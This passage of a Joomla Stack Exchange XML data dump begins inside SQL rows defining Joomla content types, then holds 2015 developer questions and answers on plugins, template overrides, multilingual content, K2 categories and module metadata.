&quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;null&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;null&quot;, &quot;core_urls&quot;:&quot;null&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;null&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;parent_id&quot;, &quot;core_xreference&quot;:&quot;null&quot;, &quot;asset_id&quot;:&quot;asset_id&quot;}, &quot;special&quot;:{&quot;parent_id&quot;:&quot;parent_id&quot;,&quot;lft&quot;:&quot;lft&quot;,&quot;rgt&quot;:&quot;rgt&quot;,&quot;level&quot;:&quot;level&quot;,&quot;path&quot;:&quot;path&quot;,&quot;extension&quot;:&quot;extension&quot;,&quot;note&quot;:&quot;note&quot;}}', 'NewsfeedsHelperRoute::getCategoryRoute', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml&quot;,   &quot;hide_fields&quot;:[&quot;asset_id&quot;,&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;,&quot;lft&quot;,&quot;rgt&quot;,&quot;level&quot;,&quot;path&quot;,&quot;extension&quot;],   &quot;display_lookup&quot;:[   {&quot;source_column&quot;:&quot;created_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;access&quot;,&quot;target_table&quot;:&quot;#__viewlevels&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},{&quot;source_column&quot;:&quot;modified_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;parent_id&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;}  ] }'),&#xA;(9, 'Weblinks Category', 'com_weblinks.category', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__categories&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Category&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;title&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created_time&quot;,&quot;core_modified_time&quot;:&quot;modified_time&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;null&quot;,&quot;core_publish_down&quot;:&quot;null&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;null&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;null&quot;, &quot;core_urls&quot;:&quot;null&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;null&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;parent_id&quot;, &quot;core_xreference&quot;:&quot;null&quot;, &quot;asset_id&quot;:&quot;asset_id&quot;}, &quot;special&quot;:{&quot;parent_id&quot;:&quot;parent_id&quot;,&quot;lft&quot;:&quot;lft&quot;,&quot;rgt&quot;:&quot;rgt&quot;,&quot;level&quot;:&quot;level&quot;,&quot;path&quot;:&quot;path&quot;,&quot;extension&quot;:&quot;extension&quot;,&quot;note&quot;:&quot;note&quot;}}', 'WeblinksHelperRoute::getCategoryRoute', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml&quot;,   &quot;hide_fields&quot;:[&quot;asset_id&quot;,&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;,&quot;lft&quot;,&quot;rgt&quot;,&quot;level&quot;,&quot;path&quot;,&quot;extension&quot;],   &quot;display_lookup&quot;:[   {&quot;source_column&quot;:&quot;created_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;access&quot;,&quot;target_table&quot;:&quot;#__viewlevels&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},{&quot;source_column&quot;:&quot;modified_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;parent_id&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;}  ] }'),&#xA;(10, 'Tag', 'com_tags.tag', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__tags&quot;,&quot;key&quot;:&quot;tag_id&quot;,&quot;type&quot;:&quot;Tag&quot;,&quot;prefix&quot;:&quot;TagsTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;title&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created_time&quot;,&quot;core_modified_time&quot;:&quot;modified_time&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;null&quot;,&quot;core_publish_down&quot;:&quot;null&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;featured&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;images&quot;, &quot;core_urls&quot;:&quot;urls&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;null&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;null&quot;, &quot;core_xreference&quot;:&quot;null&quot;, &quot;asset_id&quot;:&quot;null&quot;}, &quot;special&quot;:{&quot;parent_id&quot;:&quot;parent_id&quot;,&quot;lft&quot;:&quot;lft&quot;,&quot;rgt&quot;:&quot;rgt&quot;,&quot;level&quot;:&quot;level&quot;,&quot;path&quot;:&quot;path&quot;}}', 'TagsHelperRoute::getTagRoute', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_tags\\/models\\/forms\\/tag.xml&quot;,   \r\n&quot;hide_fields&quot;:[&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;, &quot;lft&quot;, &quot;rgt&quot;, &quot;level&quot;, &quot;path&quot;, &quot;urls&quot;, &quot;publish_up&quot;, &quot;publish_down&quot;],   \r\n&quot;display_lookup&quot;:[   \r\n{&quot;source_column&quot;:&quot;created_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},  \r\n{&quot;source_column&quot;:&quot;access&quot;,&quot;target_table&quot;:&quot;#__viewlevels&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},  \r\n{&quot;source_column&quot;:&quot;modified_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;}  ]}'),&#xA;(11, 'Banner', 'com_banners.banner', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__banners&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Banner&quot;,&quot;prefix&quot;:&quot;BannersTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;name&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created&quot;,&quot;core_modified_time&quot;:&quot;modified&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;null&quot;,&quot;core_publish_up&quot;:&quot;publish_up&quot;,&quot;core_publish_down&quot;:&quot;publish_down&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;null&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;images&quot;, &quot;core_urls&quot;:&quot;link&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;ordering&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;catid&quot;, &quot;core_xreference&quot;:&quot;null&quot;, &quot;asset_id&quot;:&quot;null&quot;}, &quot;special&quot;:{&quot;imptotal&quot;:&quot;imptotal&quot;, &quot;impmade&quot;:&quot;impmade&quot;, &quot;clicks&quot;:&quot;clicks&quot;, &quot;clickurl&quot;:&quot;clickurl&quot;, &quot;custombannercode&quot;:&quot;custombannercode&quot;, &quot;cid&quot;:&quot;cid&quot;, &quot;purchase_type&quot;:&quot;purchase_type&quot;, &quot;track_impressions&quot;:&quot;track_impressions&quot;, &quot;track_clicks&quot;:&quot;track_clicks&quot;}}', '', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_banners\\/models\\/forms\\/banner.xml&quot;, &quot;hide_fields&quot;:[&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;, &quot;reset&quot;],&quot;display_lookup&quot;:[{&quot;source_column&quot;:&quot;catid&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;}, {&quot;source_column&quot;:&quot;cid&quot;,&quot;target_table&quot;:&quot;#__banner_clients&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;}, {&quot;source_column&quot;:&quot;created_by&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;modified_by&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;}  ]}'),&#xA;(12, 'Banners Category', 'com_banners.category', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__categories&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Category&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;title&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created_time&quot;,&quot;core_modified_time&quot;:&quot;modified_time&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;null&quot;,&quot;core_publish_down&quot;:&quot;null&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;null&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;null&quot;, &quot;core_urls&quot;:&quot;null&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;null&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;parent_id&quot;, &quot;core_xreference&quot;:&quot;null&quot;, &quot;asset_id&quot;:&quot;asset_id&quot;}, &quot;special&quot;: {&quot;parent_id&quot;:&quot;parent_id&quot;,&quot;lft&quot;:&quot;lft&quot;,&quot;rgt&quot;:&quot;rgt&quot;,&quot;level&quot;:&quot;level&quot;,&quot;path&quot;:&quot;path&quot;,&quot;extension&quot;:&quot;extension&quot;,&quot;note&quot;:&quot;note&quot;}}', '', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml&quot;,   &quot;hide_fields&quot;:[&quot;asset_id&quot;,&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;,&quot;lft&quot;,&quot;rgt&quot;,&quot;level&quot;,&quot;path&quot;,&quot;extension&quot;],   &quot;display_lookup&quot;:[   {&quot;source_column&quot;:&quot;created_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;access&quot;,&quot;target_table&quot;:&quot;#__viewlevels&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},{&quot;source_column&quot;:&quot;modified_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;parent_id&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;}  ] }'),&#xA;(13, 'Banner Client', 'com_banners.client', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__banner_clients&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Client&quot;,&quot;prefix&quot;:&quot;BannersTable&quot;}}', '', '', '', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_banners\\/models\\/forms\\/client.xml&quot;, &quot;hide_fields&quot;:[&quot;checked_out&quot;,&quot;checked_out_time&quot;],&quot;display_lookup&quot;:[]}'),&#xA;(14, 'User Notes', 'com_users.note', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__user_notes&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Note&quot;,&quot;prefix&quot;:&quot;UsersTable&quot;}}', '', '', '', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_users\\/models\\/forms\\/note.xml&quot;, &quot;hide_fields&quot;:[&quot;checked_out&quot;,&quot;checked_out_time&quot;, &quot;publish_up&quot;, &quot;publish_down&quot;],&quot;display_lookup&quot;:[  {&quot;source_column&quot;:&quot;catid&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},    {&quot;source_column&quot;:&quot;created_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;}, {&quot;source_column&quot;:&quot;user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;}, {&quot;source_column&quot;:&quot;modified_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;}  ]}'),&#xA;(15, 'User Notes Category', 'com_users.category', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__categories&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;Category&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:{&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;JTable&quot;,&quot;config&quot;:&quot;array()&quot;}}', '', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;title&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created_time&quot;,&quot;core_modified_time&quot;:&quot;modified_time&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;null&quot;,&quot;core_publish_down&quot;:&quot;null&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;null&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;null&quot;, &quot;core_urls&quot;:&quot;null&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;null&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;parent_id&quot;, &quot;core_xreference&quot;:&quot;null&quot;, &quot;asset_id&quot;:&quot;asset_id&quot;}, &quot;special&quot;:{&quot;parent_id&quot;:&quot;parent_id&quot;,&quot;lft&quot;:&quot;lft&quot;,&quot;rgt&quot;:&quot;rgt&quot;,&quot;level&quot;:&quot;level&quot;,&quot;path&quot;:&quot;path&quot;,&quot;extension&quot;:&quot;extension&quot;,&quot;note&quot;:&quot;note&quot;}}', '', '{&quot;form_file&quot;:&quot;administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml&quot;,   &quot;hide_fields&quot;:[&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;,&quot;lft&quot;,&quot;rgt&quot;,&quot;level&quot;,&quot;path&quot;,&quot;extension&quot;],   &quot;display_lookup&quot;:[   {&quot;source_column&quot;:&quot;created_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;access&quot;,&quot;target_table&quot;:&quot;#__viewlevels&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;},{&quot;source_column&quot;:&quot;modified_user_id&quot;,&quot;target_table&quot;:&quot;#__users&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;name&quot;},{&quot;source_column&quot;:&quot;parent_id&quot;,&quot;target_table&quot;:&quot;#__categories&quot;,&quot;target_column&quot;:&quot;id&quot;,&quot;display_column&quot;:&quot;title&quot;}  ] }');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2015-09-14T16:07:44.710" LastActivityDate="2015-09-14T16:07:44.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13597" PostTypeId="1" AcceptedAnswerId="13623" CreationDate="2015-09-14T19:52:40.103" Score="5" ViewCount="745" Body="&lt;p&gt;I have some code on PHP something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$oldstring = ...;&#xA;...&#xA;$pattern = ...;&#xA;$newstring = preg_replace_callback($pattern, ... {...}, $oldstring);&#xA;&#xA;echo $newstring;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to apply this code (maybe as class or somehow) to content of component and each existing module on the page, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;&#xA;$oldcomponent = $doc-&amp;gt;getBuffer('component', '', array('class'=&amp;gt; ''));&#xA;// the same code for applying&#xA;echo $newcomponent;&#xA;&#xA;$oldmodule1 = $doc-&amp;gt;getBuffer('modules', 'position-1', array('style'=&amp;gt; ''));&#xA;// the same code for applying&#xA;echo $newmodule1;&#xA;&#xA;$oldmodule2 = $doc-&amp;gt;getBuffer('modules', 'position-2', array('style'=&amp;gt; ''));&#xA;// the same code for applying&#xA;echo $newmodule2;&#xA;&#xA;...&#xA;&#xA;$oldmoduleN = $doc-&amp;gt;getBuffer('modules', 'position-N', array('style'=&amp;gt; ''));&#xA;// the same code for applying&#xA;echo $newmoduleN;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second code is only something like what I mean. I.e. as old strings should be component and each module and they should be echoed as new strings on its positions on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone write example how to create simple Joomla plugin for this purpose. Thanks&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-09-15T12:32:25.550" LastActivityDate="2015-09-22T12:52:10.187" Title="Apply the same code on PHP to content of component and each module" Tags="|joomla-3.x|development|plugin|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13598" PostTypeId="1" AcceptedAnswerId="13644" CreationDate="2015-09-14T21:07:29.293" Score="0" ViewCount="324" Body="&lt;p&gt;This is hard to explain, but still I will try my best to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set up a multilingual Joomla website, with 2 languages. For each language I want to have checkboxes in the menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say, that I have an article in English, and when I press the check box, it should show the article in the second language in the same page. In other words, toggling the check box should load the content of the 2 languages, in the same page (without reloading).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to achieve this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any extensions for it in Joomla or any in other CMS which can do this?&lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="126" LastEditDate="2015-09-17T11:58:28.707" LastActivityDate="2020-06-22T13:25:10.847" Title="Show content in 2 different languages" Tags="|language|multilingual|translation|features|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13602" PostTypeId="1" AcceptedAnswerId="13603" CreationDate="2015-09-15T08:16:38.333" Score="0" ViewCount="38" Body="&lt;p&gt;I have two template overrides set up. One so I can display this page differently from other pages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pfp-consortium.org/index.php/activities/defense-education-enhancement-program-deep&quot; rel=&quot;nofollow&quot;&gt;http://pfp-consortium.org/index.php/activities/defense-education-enhancement-program-deep&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And another so I can display my event related pages differently:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://pfp-consortium.org/index.php/events&quot; rel=&quot;nofollow&quot;&gt;https://pfp-consortium.org/index.php/events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the first one, the sidebars are styled as they are on other pages. But on the event page, the styling goes away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In firebug, the breakdown seems to happen at this point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;rt-block featured-block&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Prior to that point, everything appears identical in firebug. On the first override, clicking on that div indicates my gantry-custom.css is being applied. But when I inspect the same div in firebug for the event page, it does not show gantry-custom.css being applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am at a loss for what could be happening here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="6922" LastActivityDate="2015-09-15T08:24:18.000" Title="Why are my sidebars being styled differently in template override?" Tags="|templates|css|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13603" PostTypeId="2" ParentId="13602" CreationDate="2015-09-15T08:24:18.000" Score="1" Body="&lt;p&gt;No it's not identical. There is a small difference between both pages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;code&gt;div&lt;/code&gt; with the id &lt;code&gt;rt-sidebar-a&lt;/code&gt;. In your first page its placed in a container with classes &lt;code&gt;rt-grid-3 rt-pull-6&lt;/code&gt; and in the second page the parent container has the classes &lt;code&gt;rt-grid-2 rt-pull-8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your CSS rule for styling this left sidebar is &lt;code&gt;#rt-main .rt-grid-3 .rt-block&lt;/code&gt; which is the answer why this rule is applied to the first page and not to the second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DajTV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DajTV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/o4mz6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o4mz6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-09-15T08:24:18.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13606" PostTypeId="2" ParentId="9324" CreationDate="2015-09-15T12:59:20.070" Score="1" Body="&lt;p&gt;A little while after asking the question, I used NoNumber's &lt;a href=&quot;https://www.nonumber.nl/extensions/rereplacer&quot; rel=&quot;nofollow&quot;&gt;ReReplacer&lt;/a&gt; for the dynamic replacements.&lt;/p&gt;&#xA;" OwnerUserId="1670" LastActivityDate="2015-09-15T12:59:20.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13608" PostTypeId="2" ParentId="13590" CreationDate="2015-09-15T16:03:27.400" Score="1" Body="&lt;p&gt;For anyone who is struggling with this, I had to go through the 'additional categories' extension. Grabbing the additional categories can be achieved by the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Stringify array of subcategories (generated in k2additionalcategories.php)&#xA;$dispatcher = JEventDispatcher::getInstance();&#xA;JPluginHelper::importPlugin ('k2');&#xA;$additional_category_links=$dispatcher-&amp;gt;trigger('onK2AfterLinkCategoryPublish', array($this-&amp;gt;item-&amp;gt;id));&#xA;$subcategorystring = implode (&quot; &quot;, $additional_category_links);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6874" LastEditorUserId="12352" LastEditDate="2019-03-17T11:12:30.420" LastActivityDate="2019-03-17T11:12:30.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13609" PostTypeId="1" CreationDate="2015-09-15T16:06:32.007" Score="2" ViewCount="881" Body="&lt;p&gt;I got stuck. I'm coding a simple &lt;strong&gt;module which will be placed/visible only on com_content article pages&lt;/strong&gt;. This module fetches keywords from the current article, and to avoid an additional database query I use JDocument/getMetaData:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item = JFactory::getDocument();&#xA;$item_keywords = $item-&amp;gt;getMetaData('keywords');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code works well when the module is placed in regular module position and I'm able to get the list of keywords:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;architecture, design studio, house&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But when I inserted the module in article content through the {loadposition}&lt;/strong&gt; plugin, I found out that the module cannot retrieve keywords from the current article using JDocument/getMetaData.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution how I can retrieve article keywords in the module without additional database query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Probably I'll add a a code that checks how the module is loaded&lt;/strong&gt;. My code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item = JFactory::getDocument();&#xA;if ($item-&amp;gt;template) {&#xA;    echo &quot;standart module load - use getMetaData&quot;;&#xA;} else {&#xA;    echo &quot;module loaded by plugin - create an additional query&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you have a better idea?&lt;/p&gt;&#xA;" OwnerUserId="6925" LastEditorUserId="6925" LastEditDate="2015-09-18T19:37:53.323" LastActivityDate="2015-11-17T22:17:10.537" Title="Problem with JFactory::getDocument() when module is placed in {loadposition}" 